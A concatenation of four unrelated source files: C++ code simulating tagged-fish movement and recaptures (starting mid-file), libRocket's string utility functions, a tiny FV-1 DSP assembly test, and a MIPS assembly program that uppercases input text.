obs_recap_comp(dmatrix& total_obs_caps, year_month& date, int cohort, recaptype_vector& recaps, int nrec, par_t& param, ivector& effort_occured); void capcomp(year_month& date, int cc, par_t& param, dmatrix& tags, ofstream& capfile, double& tcaps, dvector& region_caps, dmatrix& total_mort, d3_array& fish_mort, ivector& effort_occured, dvector& pred_tac, float f_unused, int i_unused, dmatrix& total_pred_caps); void save_tags(par_t& param, dmatrix& releases, year_month& date, ofstream& savefile); void total_check_comp(dvector& total_tags, dmatrix& total_check, int month, dmatrix& release, par_t& param, dmatrix& tot_mort); dvector displacement_bins(par_t& param, dmatrix& distances); void displacement_frequency(const int cohort, const dmatrix& tags, dvector& displacements, dvector& xdisp, dvector& ydisp, const dmatrix& distances, const dvector& bins, par_t& param); void write_displacement_files(const dmatrix& displacement, dmatrix& xdisp, dmatrix& ydisp, const dvector& bins, const int fit_number, const char op); d3_array make_d3_array(int sl,int sh, int nrl, int nrh, const ivector& ncl, const ivector& nch); void check_release(const dmatrix& dmRelease, const int row); double tag_scaling_factor = 1.0; extern ofstream clogf; void par_t_reg::simulate(JNIEnv* _env, jobject _jobj, recaptype_vector& recaps, int nrec, const adstring& path, const adstring& file) { cout << __FILE__ << ": par_t_reg::simulate" << endl; int m_ipar96 = m_ipar[96], pool_tags = m_ipar[13], //Pool tags m_ipar16 = m_ipar[16], m_ipar67 = m_ipar[67], m_ipar68 = m_ipar[68], // graphics off m_ipar6 = m_ipar[6]; int graphics_on = m_ipar68; TRACE(graphics_on) ivector jlb1(0, m + 1); ivector jub1(0, m + 1); for (int i = 1; i <= m; i++) { jlb1(i) = jlb(i) - 1; jub1(i) = jub(i) + 1; }//fori jlb1(0) = 0; jlb1(m + 1) = 0; jub1(0) = n + 1; jub1(m + 1) = n + 1; #ifdef unix adstring coastline_file = path+"../"+file+".cst"; #else adstring coastline_file = path+"..\\"+file+".cst"; // adstring coastline_file = "..\\"+pathname.getPathRoot()+".1.2.cst"; #endif TRACE(coastline_file) int max_month = tr[nrelease].date - tr[1].date + nmonth + 1; if (max_month < 60) max_month = 60; TRACE(max_month) jnigraphics2* jni = NULL; TRACE(jni) const int ntabs = 5; ivector tab_list(1,ntabs); int hr_plot = 0; int td_plot = 0; int rm_plot = 0; int op_plot = 0; int cop_plot = 0; int history_plot = 0; int dif_plot = 0; int adv_plot = 0; int d_plot = 0; int cd_plot = 0; TRACE(graphics_on) if (graphics_on) { TRACE(jni) /* #ifdef unix jni = new jnigraphics2("/home/aku/jancheta/jnigraphics3/g++"); #else jni = new jnigraphics2("\\movemod\\jnigraphics3\\bcc55"); //TRACE(getenv("JNIGRAPHICS_PATH")) //jni = new jnigraphics2(getenv("JNIGRAPHICS_PATH")); #endif */ TRACE(getenv("JNIGRAPHICS_PATH")) jni = new jnigraphics2(); TRACE(jni) if (!jni) { cerr << "Error creating instance of jnigraphics object. Exiting." << endl; exit(1); } jni->addTabs(ntabs, tab_list); int monthly_tab = tab_list(1); int cumulative_tab = tab_list(2); int history_tab = tab_list(3); int movement_tab = tab_list(4); int deaths_tab = tab_list(5); jni->setTabTitle("Monthly",monthly_tab); ivector mt_layout(1, 4); jni->addGridLayout(2, 2, mt_layout, monthly_tab); hr_plot = mt_layout(1); td_plot = mt_layout(2); rm_plot = mt_layout(3); op_plot = mt_layout(4); jni->addStatusBar(); squareregiondef scm(m, n); scm.region.dx = deltax; scm.region.dy = deltay; scm.region.title = "Harvest Ratio"; scm.region.setGridMap(gridmap); scm.region.cstfile = coastline_file; scm.legend.min = 0.0; scm.legend.max = 1.0; scm.legend.increment = 0.2; scm.legend.decimals = 1; jni->addSquareRegion(scm, hr_plot); scm.region.title = "Tag Density"; scm.region.setGridMap(gridmap); scm.legend.min = 1.0; scm.legend.max = 1024.0; scm.legend.type = 1; scm.legend.increment = 2; scm.legend.decimals = 0; jni->addSquareRegion(scm, td_plot); movementregiondef mrd(m, n); mrd.region.dx = deltax; mrd.region.dy = deltay; mrd.region.title ="Movement Pattern"; mrd.setGridMap(gridmap); //mrd.region.cstfile = coastline_file; jni->addMovementRegion(mrd, rm_plot); triangleregiondef tcm(m, n); tcm.region.dx = deltax; tcm.region.dy = deltay; tcm.region.title ="Observed/Predicted Returns"; tcm.region.setGridMap(gridmap); tcm.region.cstfile = coastline_file; tcm.legend.min = 1.0; tcm.legend.max = 256; tcm.legend.type = 1; tcm.legend.increment = 2; jni->addTriangleRegion(tcm, op_plot); jni->setTabTitle("Cumulative Returns",cumulative_tab); ivector ct_layout(1, 1); jni->addGridLayout(1, 1, ct_layout, cumulative_tab); cop_plot = ct_layout(1); tcm.region.title ="Observed/Predicted Returns"; tcm.legend.min = 1.0; tcm.legend.max = 512; tcm.legend.type = 1; tcm.legend.increment = 2; jni->addTriangleRegion(tcm, cop_plot); jni->setTabTitle("History", history_tab); ivector ht_layout(1,1); jni->addGridLayout(1, 1, ht_layout, history_tab); history_plot = ht_layout(1); lineplotdefs hpd;//(2); hpd.linesTotal = 2; hpd.xaxisTitle = "Months After First Tag Release"; hpd.xaxisMax = ((max_month/5)+1)*5; hpd.xaxisIncrement = 5; hpd.yaxisTitle = "Tag Returns"; hpd.yaxisMax = 600.0; hpd.yaxisIncrement = 100.0; hpd.setColor(0,255,255,0); hpd.setColor(0,0,255,1); jni->addLineplot(hpd, history_plot); jni->setTabTitle("Movement Fields", movement_tab); /* ivector mv_layout(1,2); if (m > n) jni->addGridLayout(2, 1, mv_layout, movement_tab); else jni->addGridLayout(1, 2, mv_layout, movement_tab); //int* mvlp = jni->addGridLayout(2, 1, movement_tab); dif_plot = mv_layout(1);// = mvlp[0]; scm.region.title = "Diffusion Field"; scm.region.setGridMap(gridmap); scm.legend.min = 1.0; scm.legend.max = 262144.0; scm.legend.type = 1; scm.legend.increment = 8.0; scm.legend.decimals = 0; jni->addSquareRegion(scm, dif_plot); */ ivector mv_layout(1,1); jni->addGridLayout(1, 1, mv_layout, movement_tab); dif_plot = mv_layout(1); scm.region.title = "Movement Field"; scm.region.setGridMap(gridmap); scm.legend.min = 1.0; scm.legend.max = 524288.0; //262144.0; scm.legend.type = 1; scm.legend.increment = 8.0; scm.legend.decimals = 0; jni->addSquareRegion(scm, dif_plot); adv_plot = mv_layout(2);// = mvlp[1]; advectionregiondef adv(m,n); adv.region.title = "Advection Field"; adv.region.setGridMap(gridmap); jni->addAdvectionRegion(adv, adv_plot); jni->setTabTitle("Lifetime Displacements", deaths_tab); ivector dt_layout(1,2); if (m > n) jni->addGridLayout(2, 1, dt_layout, deaths_tab); else jni->addGridLayout(1, 2, dt_layout, deaths_tab); d_plot = dt_layout(1); scm.region.title = "Monthly Mortalities"; scm.region.setGridMap(gridmap); scm.legend.min = 1.0; scm.legend.max = 128.0; scm.legend.type = 1; scm.legend.increment = 2.0; scm.legend.decimals = 0; jni->addSquareRegion(scm, d_plot); cd_plot = dt_layout(2); scm.region.title = "Cumulative Mortalities"; scm.region.setGridMap(gridmap); scm.legend.min = 0.1; scm.legend.max = 100.0; scm.legend.type = 0; scm.legend.increment = 20; scm.legend.decimals = 0; jni->addSquareRegion(scm, cd_plot); jni->layoutAll(); } dvector history(1,2); history.initialize(); // for line plots dmatrix dmU(0, m + 1, jlb1, jub1); dmU.initialize(); dmatrix dmV(0, m + 1, jlb1, jub1); dmV.initialize(); dmatrix dmSigma(0, m + 1, jlb1, jub1); dmSigma.initialize(); dmatrix uu(1, m, jlb, jub); uu.initialize(); dmatrix vv(1, m, jlb, jub); vv.initialize(); dmatrix DD(1, m, jlb, jub); DD.initialize(); dmatrix dmTotMort(1, m, jlb, jub); dmTotMort.initialize(); dmatrix dmTotalPredCaps(1, m, jlb, jub); dmTotalPredCaps.initialize(); dmatrix dmTotalObsCaps(1, m, jlb, jub); dmTotalObsCaps.initialize(); dmatrix distances(0,m,0,n); dvector bins = displacement_bins(*this, distances); dmatrix dmDisplacement(0, max_month, 0, bins.indexmax()); dmDisplacement.initialize(); dmatrix xDisplace(0,max_month,-(m+1),m+1); xDisplace.initialize(); dmatrix yDisplace(0,max_month,-(n+1),n+1); yDisplace.initialize(); dmatrix dmCumulativeTotalPredCaps(1, m, jlb, jub); dmCumulativeTotalPredCaps.initialize(); dmatrix dmCumulativeTotalObsCaps(1, m, jlb, jub); dmCumulativeTotalObsCaps.initialize(); dmatrix dmTotalCheck(1, 4, 0, max_month); dmTotalCheck.initialize(); dmatrix deaths(1, m, jlb, jub); dmatrix cum_deaths(1, m, jlb, jub); cum_deaths.initialize(); dvector dvFleetCaps(0, nfleet); dvector dvTotalReturns(0, max_month); dvTotalReturns.initialize(); dvector dvTotalTags(0, max_month); dvTotalTags.initialize(); dvector dvRegionCaps(0, ngrid); dvRegionCaps.initialize(); ivector ivEffortOccured(1, nfleet); ivEffortOccured.initialize(); //ivector ivCohortNumber(0, nrelease); ivCohortNumber.initialize(); d3_array d3aEffort = make_d3_array(0, nfleet, 1, m, jlb, jub); d3aEffort.initialize(); d3_array d3aFishMort = make_d3_array(0, nfleet, 1, m, jlb, jub); d3aFishMort.initialize(); HERE #ifdef __BCG_SOLVER__ linbcg bcg(*this); bcg.set_tol(1e-8); clogf << "\nUsing biconjugate gratient solver" << endl; clogf << "tol = " << bcg.get_tol() << endl; #else interflag.setsaveinter(0); Upwind_coff_t coff(*this, m_ipar[6]); clogf << "\nUsing adi solver" << endl; #endif int ncolumns = 0; int max_cohorts = 0; //int pool_tags = param.m_ipar[13]; if (pool_tags == 0) { ncolumns = nrelease; max_cohorts = nrelease; } else if (pool_tags == 1) { ncolumns = nfleet; max_cohorts = 1; } else if (pool_tags == 2) { collapse_cohorts(recaps, nrec); ncolumns = tr[nrelease].cohort; //param.get_tr_cohort(param.get_nrelease()); max_cohorts = tr[nrelease].cohort; } TTRACE(ncolumns,max_cohorts) d3_array d3aRelease = make_d3_array(0, ncolumns, 1, m, jlb, jub); d3aRelease.initialize(); dmatrix dmTac(0,max_month,0,ncolumns); dmTac.initialize(); //ivector cohort_released(0,max_cohorts); cohort_released.initialize(); ivector cohort_alive(0,max_cohorts); cohort_alive.initialize(); year_month_vector release_date(0,max_cohorts); //int numCurrentSeason = 0, int cMonth = 1; // rn = 0; //release number //ncohort = 0; ofstream st; if (m_ipar67) { st.open("savdtags.dat"); if (!st) { clogf << "Unable to open file savdtags.dat" << endl; return; } st << "#\n"; st << "# tags at large\n"; st << "#\n"; }//ifm_ipar67 ofstream capfile("simulate.tag"); if ( !capfile ) { cerr << "Cannot open file simulate.tag"; exit(1); } capfile << "#\n"; capfile << "# simulated tag recaptures\n"; capfile << "# natural mortality = " << get_mort() << endl; capfile << "# catchability coefficients (by fleet) = " << get_q() << endl; capfile << "# random number seed = " << m_ipar[40] << endl; capfile << "# effort standard deviation = " << m_ipar[39]/100. << endl; capfile << "# \n"; capfile << "# positions: release recapture\n"; capfile << "# fleet year month cohort long lat tags" << endl; double tcaps = 0.0; dvTotalTags[0] = tr[1].tags; dmTotalCheck[1][0] = tr[1].tags; dmTotalCheck[2][0] = tr[1].tags; dmTotalCheck[3][0] = tr[1].tags; dmTotalCheck[4][0] = tr[1].tags; int elapsed_month = -1; /* int ncohort = nrelease; int c1 = 1; int c2 = nrelease; int ac1 = 1; int ac2 = nrelease; if (pool_tags == 1) { c2 = 1; ac2 = 1; } else if (pool_tags == 2) { last_rn = 0; c1 = 1; c2 = nrelease; } TTRACE(c1,c2) */ int numCurrentSeason = 0; int rn = 0; int last_rn = 0; year_month final_date = tr[nrelease].date + nmonth; for (year_month date = start_date; date <= final_date; date++) { elapsed_month ++; int numMonthSeason = get_season(date); cout << "Month" << setw(3) << elapsed_month << ", " << date << ", season " << numMonthSeason << endl; TRACE(date) //season change redo uvs if (numCurrentSeason != numMonthSeason) { numCurrentSeason = numMonthSeason; if (!m_ipar96) uvs_comp(dmU, dmV, dmSigma, date); for (int i = 1; i <= m; i++) { int j1 = jlb(i); int j2 = jub(i); for (int j = j1; j <= j2; j++) { if (gridmap(i,j) > 0) { uu(i,j) = dmU(i,j); vv(i,j) = dmV(i,j); DD(i,j) = dmSigma(i,j); } else { uu(i,j) = 0.0; vv(i,j) = 0.0; DD(i,j) = 0.0; } if (fabs(uu(i,j)) > 1e10) uu(i,j) = 0.0; if (fabs(vv(i,j)) > 1e10) vv(i,j) = 0.0; if (fabs(DD(i,j)) > 1e20) DD(i,j) = 0.0; } } #ifdef __BCG_SOLVER__ bcg.comp(*this, dmU, dmV, dmSigma); #else coff.comp(*this, date, isp, dmU, dmV, dmSigma); #endif }//ifnumMonthSeason if (m_ipar16) { cerr << "Invalid switch 16 = " << m_ipar16 << endl; exit(1); } if(m_ipar[45] == 1) { year_month effort_date(1,date.get_month_value()); TTRACE(date,effort_date) get_effort_array(*this, global_irfr, d3aEffort, effort_date, ivEffortOccured); } else read_effort(*this, d3aEffort, date, ivEffortOccured); fish_mort_comp(d3aFishMort, d3aEffort, date);//mort=q*effort total_mort_comp(d3aFishMort, dmTotMort); #ifdef __BCG_SOLVER__ bcg.b_adjust(dmTotMort); #else coff.b_adjust(*this, dmTotMort); #endif while( (rn < nrelease) && (date == tr[rn + 1].date) ) { rn++; int cohort = 0; if (pool_tags == 0) cohort = rn; else if (pool_tags ==1) cohort = 1; else if (pool_tags ==2) cohort = tr[rn].cohort; //TTRACE(rn,cohort) int i = tr[rn].i; int j = tr[rn].j; d3aRelease[cohort][i][j] += tr[rn].tags; if (pool_tags == 2) cohort_alive(cohort) = nmonth+1; else cohort_alive(cohort) = max_month; release_date[cohort] = date; clogf << date << ": tag release #" << rn << " with " << tr[rn].tags << " tags added to cohort " << cohort << endl; }//while //ASSERT((rn <= nrelease)) // place summ of all cohort slices into cohort 0 for (int ii = 1; ii <= m; ii++) { int j1 = jlb(ii); int jn = jub(ii); for (int j=j1; j <= jn;j++) { double hold = 0.0; for (int cohort = 1; cohort <= max_cohorts; cohort++) { if (cohort_alive(cohort)>0) hold += d3aRelease[cohort][ii][j]; } d3aRelease[0][ii][j] = hold; } //for j }//for ii obs_recap_comp(dmTotalObsCaps, date, 0, recaps, nrec, *this, ivEffortOccured); dmCumulativeTotalObsCaps += dmTotalObsCaps; if (graphics_on) { char buf[80]; std::ostrstream ss(buf,80); ss << "Fit p" << setw(2) << setfill('0') << hex << m_ipar[8] << ": Month " << setw(3) << setfill(' ') << dec << elapsed_month << ", " << date << ", Season " << numCurrentSeason << ends; adstring status(buf); jni->drawStatusBar(status); char jbuf[80]; std::ostrstream jss(jbuf,80); #ifdef unix jss << "jpeg/" #else jss << "jpeg\\" #endif << "td" << setw(2) << setfill('0') << hex << m_ipar[8] << dec << setw(2) << setfill('0') << date.get_year() << setw(2) << setfill('0') << date.get_month_value() << ".png" << ends; jni->drawSquareRegion(d3aRelease[0], td_plot); jni->save_png(jbuf,640,480,td_plot); TRACE(jbuf) dmatrix dmTotalFishMort = slice_sum(d3aFishMort); jni->drawSquareRegion(1.0-exp(-1.0*dmTotalFishMort), hr_plot); jni->drawTriangleRegion(dmTotalObsCaps, dmTotalPredCaps, op_plot); jni->drawTriangleRegion(dmCumulativeTotalObsCaps, dmCumulativeTotalPredCaps, cop_plot); int s = numCurrentSeason; jni->drawArrowsMovementRegion(get_seasonal_u(s), get_seasonal_v(s), rm_plot); jni->drawCirclesMovementRegion(sqrt(get_seasonal_sigma(s)/M_PI), rm_plot); dvector pred_hist(1,nfleet+1); for (int fl = 1; fl <= nfleet; fl++) { pred_hist(fl+1) = dvFleetCaps(fl); } pred_hist(1) = sum(dvFleetCaps); //jni->drawLinePlotPoints(pred_hist, 0, 0, 2); history(2) = sum(dmTotalPredCaps); jni->drawLinePlot(history, history_plot); history(1) = sum(dmTotalObsCaps); // yes this seems out of step clogf << "hist: " << elapsed_month << " " << date << history << endl; //TTRACE(date,(history(1)-history(2))) jni->drawSquareRegion(DD, dif_plot); jni->drawArrows(uu,vv,50,50,dif_plot); jni->drawSquareRegion(deaths, d_plot); jni->drawSquareRegion(100*(cum_deaths/(max(cum_deaths)+1e-7)), cd_plot); if ( !(jni->paintAll(500)) ) exit(0); }//if (graphics_on) TRACE(graphics_on) for (int cohort = 1; cohort <= max_cohorts; cohort++) { //TTRACE(cohort,cohort_alive(cohort)) if (cohort_alive(cohort) > 0) { int i_unused = 0; float f_unused = 0.0; capcomp(date, cohort, *this, d3aRelease[cohort], capfile, tcaps, dvRegionCaps, dmTotMort, d3aFishMort, ivEffortOccured, dvFleetCaps, f_unused, i_unused, dmTotalPredCaps); dmCumulativeTotalPredCaps += dmTotalPredCaps; double pcaps = sum(dvFleetCaps); int mtac = 0; if (pool_tags == 1) mtac = elapsed_month; else mtac = date - release_date[cohort]; //tr[cohort].date; //ASSERT((mtac >= 0)) if (pool_tags == 0) dmTac(mtac, cohort) += pcaps; else if (pool_tags == 1) dmTac(mtac) = dvFleetCaps; else if (pool_tags == 2) dmTac(mtac, cohort) += pcaps; dmTac(mtac, 0) += pcaps; dvTotalReturns(cMonth - 1) += pcaps; // solve the PDE #ifdef __BCG_SOLVER__ bcg.solver(d3aRelease[cohort], m_ipar6); #else coff.adi(d3aRelease[cohort], isp); #endif displacement_frequency(cohort, d3aRelease[cohort], dmDisplacement(mtac), xDisplace(mtac), yDisplace(mtac), distances, bins, *this); deaths = elem_prod(d3aRelease[cohort],(1-exp(-dmTotMort))); double fished = sum(deaths - d3aRelease[cohort]*(1-exp(-mort))); cum_deaths += deaths; cohort_alive(cohort) -- ; } // if (cohort_alive(cohort) > 0) }//forcohort if (m_ipar67) save_tags(*this, d3aRelease[0], date, st); total_check_comp(dvTotalTags, dmTotalCheck, cMonth-1, d3aRelease[0], *this, dmTotMort); cMonth++; }//for date if (graphics_on) { jni->drawStatusBar(adstring(" Finished")); } cout << "Finished date loop!" << endl; clogf << "\nFinished date loop!" << endl; if (graphics_on) { char fbuf[80]; std::ostrstream fss(fbuf,80); #ifdef unix fss << "jpeg/" #else fss << "jpeg\\" #endif << "final" << setw(2) << setfill('0') << hex << m_ipar[8] << dec << ".png" << ends; jni->save_png(fbuf, 640, 480, cop_plot); char hbuf[80]; std::ostrstream hss(hbuf,80); #ifdef unix hss << "jpeg/" #else hss << "jpeg\\" #endif << "history" << setw(2) << setfill('0') << hex << m_ipar[8] << dec << ".png" << ends; jni->save_png(hbuf, 640, 480, history_plot); } // if (graphics_on) HERE write_displacement_files(dmDisplacement, xDisplace, yDisplace, bins, m_ipar[8],'p'); //----------------------------------------------------------- clogf << "\nWarning! The first and last column below will only agree if there\n" "is only 1 tag release cohort, fishing effort is uniform over all regions,\n" "and the effort standard deviation (m_ipar[49]) is 0. Check these before you\n" "try to fix something.\n"; clogf << "\nMonthly totals for tag cohort 0\n"; clogf << setw(17) << "grid sum:" << setw(15) << "implicit" << setw(14) << "explicit" << setw(14) << "average" << setw(14) << "exact\n"; for (int month = 0; month <= max_month; month++) { clogf << setw(3)<< month << setw(14) << setprecision(5) << dvTotalTags[month] << ":"; for (int ktc = 1; ktc <= 4; ktc++) clogf << setw(14) << setprecision(5) << dmTotalCheck[ktc][month]; clogf << "\n"; }//formonth //----------------------------------------------------------- clogf << "\nTag recaptures by region:" << endl; for (int k = 1; k <= ngrid; k++) { clogf << setw(3) << k << setw(12) << setprecision(5) << dvRegionCaps[k] << "\n"; } clogf << "\nTotal recaptures: " << setprecision(5) << tcaps << "\n"; //---------------------------------------------------- //adstring prn_name = pathname.getRoot() + ".atc"; char prn_name[80]; std::ostrstream ss(prn_name,80); ss << "fit" << setw(2) << setfill('0') << hex << m_ipar[8] << "_P" << pool_tags << ".pta" << '\0'; TRACE(prn_name) prnstream prn(prn_name); //if (!prn) //{ // cerr << "Error opening prn_name" << endl; // exit(1); //} cout << "predicted tag attrition curve" << PENDL; prn << "predicted tag attrition curve" << PENDL; prn << "months at" << "aggregate"; int prn_cols = ncolumns; //0; //if (m_ipar13) if (pool_tags == 0) { //prn_cols = nrelease; prn << "disaggregated release group" << PENDL; } if (pool_tags == 1) { //prn_cols = nfleet; prn << "recapture fleet" << PENDL; } else if (pool_tags == 2) { //prn_cols = nrelease; prn << "release group aggregated by release date" << PENDL; } prn << "liberty" << "recaptures"; // for (int cohort = 0; cohort <= prn_cols; cohort++) // if (pool_tags == 1) // prn << cohort; // else // prn << ivCohortNumber(cohort); for (int column = 0; column <= ncolumns; column++) { if (column == 0) prn << "All"; else { if (pool_tags == 0) prn << get_tr_cohort(column); else if (pool_tags == 1) prn << (char*)fleet_names(column); else if (pool_tags == 2) prn << column; } } prn << PENDL; for (int month = 0; month <= max_month; month++) { prn << month << dvTotalReturns(month); clogf << month <<" "<< dvTotalReturns(month); for (int cohort = 0; cohort <= prn_cols; cohort++) { prn << dmTac(month, cohort); clogf <<"," << dmTac(month, cohort); } prn << PENDL; clogf << "\n"; }//formonth prn.close(); cout << "Finished final calculations." << endl; if (graphics_on) { // wait untile the graphics system is closed while ( (jni->paintAll()) ) {} exit(0); } }//End par_t_reg::simulate(JNIEnv*,jobject,recaptype_vector&,int) double min(const dmatrix& t) { int i1 = t.rowmin(); int i2 = t.rowmax(); double x = 1e200; for (int i = i1; i <= i2; i++) { double y = min(t(i)); if (y < x) x = y; } return(x); }
/* * This source file is part of libRocket, the HTML/CSS Interface Middleware * * For the latest information, see http://www.librocket.com * * Copyright (c) 2008-2010 CodePoint Ltd, Shift Technology Ltd * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ #include "precompiled.h" #include <Rocket/Core/StringUtilities.h> #include <ctype.h> #include <stdio.h> namespace Rocket { namespace Core { // Expands character-delimited list of values in a single string to a whitespace-trimmed list of values. void StringUtilities::ExpandString(StringList& string_list, const String& string, const char delimiter) { char quote = 0; bool last_char_delimiter = true; const char* ptr = string.CString(); const char* start_ptr = NULL; const char* end_ptr = ptr; while (*ptr) { // Switch into quote mode if the last char was a delimeter ( excluding whitespace ) // and we're not already in quote mode if (last_char_delimiter && !quote && (*ptr == '"' || *ptr == '\'')) { quote = *ptr; } // Switch out of quote mode if we encounter a quote that hasn't been escaped else if (*ptr == quote && *(ptr-1) != '\\') { quote = 0; } // If we encouter a delimiter while not in quote mode, add the item to the list else if (*ptr == delimiter && !quote) { if (start_ptr) string_list.push_back(String(start_ptr, end_ptr + 1)); else string_list.push_back(""); last_char_delimiter = true; start_ptr = NULL; } // Otherwise if its not white space or we're in quote mode, advance the pointers else if (!isspace(*ptr) || quote) { if (!start_ptr) start_ptr = ptr; end_ptr = ptr; last_char_delimiter = false; } ptr++; } // If there's data pending, add it. if (start_ptr) string_list.push_back(String(start_ptr, end_ptr + 1)); } // Joins a list of string values into a single string separated by a character delimiter. void StringUtilities::JoinString(String& string, const StringList& string_list, const char delimiter) { for (size_t i = 0; i < string_list.size(); i++) { string += string_list[i]; if (delimiter != '\0' && i < string_list.size() - 1) string.Append(delimiter); } } // Hashes a string of data to an integer value using the FNV algorithm. Hash StringUtilities::FNVHash(const char *string, int length) { // FNV-1 hash algorithm Hash hval = 0; unsigned char* bp = (unsigned char *)string; // start of buffer unsigned char* be = (unsigned char *)string + length; // FNV-1 hash each octet in the buffer while (*bp || (length >= 0 && bp < be)) { // xor the bottom with the current octet hval ^= *bp++; /* multiply by the 32 bit FNV magic prime mod 2^32 */ #if !defined(__GNUC__) const unsigned int FNV_32_PRIME = ((unsigned int)16777619); hval *= FNV_32_PRIME; #else hval += (hval<<1) + (hval<<4) + (hval<<7) + (hval<<8) + (hval<<24); #endif } return hval; } // Defines, helper functions for the UTF8 / UCS2 conversion functions. #define _NXT 0x80 #define _SEQ2 0xc0 #define _SEQ3 0xe0 #define _SEQ4 0xf0 #define _SEQ5 0xf8 #define _SEQ6 0xfc #define _BOM 0xfeff static int __wchar_forbidden(unsigned int sym) { // Surrogate pairs if (sym >= 0xd800 && sym <= 0xdfff) return -1; return 0; } static int __utf8_forbidden(unsigned char octet) { switch (octet) { case 0xc0: case 0xc1: case 0xf5: case 0xff: return -1; default: return 0; } } // Converts a character array in UTF-8 encoding to a vector of words. bool StringUtilities::UTF8toUCS2(const String& input, std::vector< word >& output) { if (input.Empty()) return true; unsigned char* p = (unsigned char*) input.CString(); unsigned char* lim = p + input.Length(); // Skip the UTF-8 byte order marker if it exists. if (input.Substring(0, 3) == "\xEF\xBB\xBF") p += 3; int num_bytes; for (; p < lim; p += num_bytes) { if (__utf8_forbidden(*p) != 0) return false; // Get number of bytes for one wide character. word high; num_bytes = 1; if ((*p & 0x80) == 0) { high = (wchar_t)*p; } else if ((*p & 0xe0) == _SEQ2) { num_bytes = 2; high = (wchar_t)(*p & 0x1f); } else if ((*p & 0xf0) == _SEQ3) { num_bytes = 3; high = (wchar_t)(*p & 0x0f); } else if ((*p & 0xf8) == _SEQ4) { num_bytes = 4; high = (wchar_t)(*p & 0x07); } else if ((*p & 0xfc) == _SEQ5) { num_bytes = 5; high = (wchar_t)(*p & 0x03); } else if ((*p & 0xfe) == _SEQ6) { num_bytes = 6; high = (wchar_t)(*p & 0x01); } else { return false; } // Does the sequence header tell us the truth about length? if (lim - p <= num_bytes - 1) { return false; } // Validate the sequence. All symbols must have higher bits set to 10xxxxxx. if (num_bytes > 1) { int i; for (i = 1; i < num_bytes; i++) { if ((p[i] & 0xc0) != _NXT) break; } if (i != num_bytes) { return false; } } // Make up a single UCS-4 (32-bit) character from the required number of UTF-8 tokens. The first byte has // been determined earlier, the second and subsequent bytes contribute the first six of their bits into the // final character code. unsigned int ucs4_char = 0; int num_bits = 0; for (int i = 1; i < num_bytes; i++) { ucs4_char |= (word)(p[num_bytes - i] & 0x3f) << num_bits; num_bits += 6; } ucs4_char |= high << num_bits; // Check for surrogate pairs. if (__wchar_forbidden(ucs4_char) != 0) { return false; } // Only add the character to the output if it exists in the Basic Multilingual Plane (ie, fits in a single // word). if (ucs4_char <= 0xffff) output.push_back((word) ucs4_char); } output.push_back(0); return true; } // Converts a vector of words in UCS-2 encoding a character array in UTF-8 encoding. bool StringUtilities::UCS2toUTF8(const std::vector< word >& input, String& output) { return UCS2toUTF8(&input[0], input.size(), output); } // Converts an array of words in UCS-2 encoding into a character array in UTF-8 encoding. bool StringUtilities::UCS2toUTF8(const word* input, size_t input_size, String& output) { unsigned char *oc; size_t n; word* w = (word*) input; word* wlim = w + input_size; //Log::Message(LC_CORE, Log::LT_ALWAYS, "UCS2TOUTF8 size: %d", input_size); for (; w < wlim; w++) { if (__wchar_forbidden(*w) != 0) return false; if (*w == _BOM) continue; //if (*w < 0) // return false; if (*w <= 0x007f) n = 1; else if (*w <= 0x07ff) n = 2; else //if (*w <= 0x0000ffff) n = 3; /*else if (*w <= 0x001fffff) n = 4; else if (*w <= 0x03ffffff) n = 5; else // if (*w <= 0x7fffffff) n = 6;*/ // Convert to little endian. word ch = (*w >> 8) & 0x00FF; ch |= (*w << 8) & 0xFF00; // word ch = EMPConvertEndian(*w, ROCKET_ENDIAN_BIG); oc = (unsigned char *)&ch; switch (n) { case 1: output += oc[1]; break; case 2: output += (_SEQ2 | (oc[1] >> 6) | ((oc[0] & 0x07) << 2)); output += (_NXT | (oc[1] & 0x3f)); break; case 3: output += (_SEQ3 | ((oc[0] & 0xf0) >> 4)); output += (_NXT | (oc[1] >> 6) | ((oc[0] & 0x0f) << 2)); output += (_NXT | (oc[1] & 0x3f)); break; case 4: break; case 5: break; case 6: break; } //Log::Message(LC_CORE, Log::LT_ALWAYS, "Converting...%c(%d) %d -> %d", *w, *w, w - input, output.Length()); } return true; } // Strip whitespace characters from the beginning and end of a string. String StringUtilities::StripWhitespace(const String& string) { const char* start = string.CString(); const char* end = start + string.Length(); while (start < end && IsWhitespace(*start)) start++; while (end > start && IsWhitespace(*(end - 1))) end--; if (start < end) return String(start, end); return String(); } // Operators for STL containers using strings. bool StringUtilities::StringComparei::operator()(const String& lhs, const String& rhs) const { return strcasecmp(lhs.CString(), rhs.CString()) < 0; } } }
; FV-1 Testing ; ; Program: Output Max Val clr ; clear ACC or 0x7fffff ; load max value to ACC wrax DACL,0.0 ; Write to DACL
.data #data segment prompt: .asciiz "Enter string: \n" #string buf: .space 100 #buffer with 100 bytes .text #text segment .globl main #visible outside main: li $v0, 4 #print string la $a0, prompt #from this syscall li $v0, 8 #read string la $a0, buf #to this li $a1, 100 #max amount syscall la $t0, buf #first local -> address of buffer lb $t1, ($t0) #second local -> first byte from address beqz $t1, end #check if equals \0 then go to label "exit" loop: blt $t1, 'a', next #check if first less than second? then go to label "next" : move to next instruction bgt $t1, 'z', next #check if first grater than second? then go to label "next" : move to next instruction subu $t1, $t1, 0x20 #subtract third from second then save to first sb $t1, ($t0) #store byte from first to second next: addi $t0, $t0, 1 #move to next address lb $t1, ($t0) #load byte from second to first bnez $t1, loop #check if not equals \0 then go to label "loop" end: li $v0, 4 #print string la $a0, buf #from this syscall li $v0, 10 #terminate execution syscall
